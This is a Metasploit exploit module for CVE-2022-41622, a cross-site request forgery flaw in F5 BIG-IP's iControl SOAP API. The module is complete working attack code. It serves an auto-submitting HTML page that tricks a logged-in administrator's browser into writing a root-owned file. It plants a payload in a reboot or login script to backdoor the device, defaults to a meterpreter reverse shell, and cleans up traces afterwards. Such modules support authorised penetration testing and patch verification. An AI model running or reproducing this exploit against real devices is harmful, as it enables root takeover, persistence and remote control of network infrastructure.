##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
        'Description' => %q{
          This module exploits a cross-site request forgery (CSRF) vulnerability
          in F5 Big-IP's iControl interface to write an arbitrary file to the
          filesystem.

          While any file can be written to any location as root, the
          exploitability is limited by SELinux; the vast majority of writable
          locations are unavailable. By default, we write to a script that
          executes at reboot, which means the payload will execute the next time
          the server boots.

          An alternate target - Login - will add a backdoor that executes next
          time a user logs in interactively. This overwrites a file,
          but we restore it when we get a session

          Note that because this is a CSRF vulnerability, it starts a web
          server, but an authenticated administrator must visit the site, which
          redirects them to the target.
        },
        'Author' => [
          'Ron Bowes' # Discovery, PoC, and module
        ],
        'References' => [
          ['CVE', '2022-41622'],
          ['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
          ['URL', 'https://support.f5.com/csp/article/K94221585'],
          ['URL', 'https://support.f5.com/csp/article/K05403841'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-11-16', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Type' => :unix_cmd,
        'Privileged' => true,
        'Targets' => [
          [ 'Restart', {}, ],
          [ 'Login', {}, ],
          [ 'Custom', {}, ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
        OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
        OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
        OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
      ]
    )
  end

  def on_request_uri(socket, _request)
    if datastore['TARGET'] == 0 # restart
      filename = '/shared/f5_update_action'
      file_payload = <<~EOT
        UpdateAction
        https://localhost/success`#{payload.encoded}`
        https://localhost/error
        0
        0
        0
        0
      EOT

      # Delete the logfile if we get a session
      register_file_for_cleanup('/var/log/f5_update_checker.out')

      print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
    elsif datastore['TARGET'] == 1 # login
      filename = '/var/run/config/timeout.sh'
      file_payload = "#{payload.encoded} & disown;"

      # Delete the backdoored file if we get a session.. this will be fixed at
      # next reboot
      register_file_for_cleanup('/var/run/config/timeout.sh')

      print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
    else # Custom

      filename = datastore['FILENAME']
      file_payload = payload.encoded

      print_status("Redirecting the admin to overwrite #{filename} with the payload")
    end

    # Build the SOAP request that'll be sent to the target server
    csrf_payload = %(
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">#{filename}</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>
    )

    # Build the target URL
    target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"

    # Build the HTML payload that'll send the SOAP request via the user's browser
    html_payload = %(
<html>
    <body>
        <form action="#{target_url}" method="POST" enctype="text/plain">
            <textarea id="payload" name="&lt;!--">--&gt;#{Rex::Text.html_encode(csrf_payload)}</textarea>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>
    )

    # Send the HTML to the browser
    send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
  end

  def exploit
    # Sanity check
    if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
      fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
    end

    print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
    super
  end
end
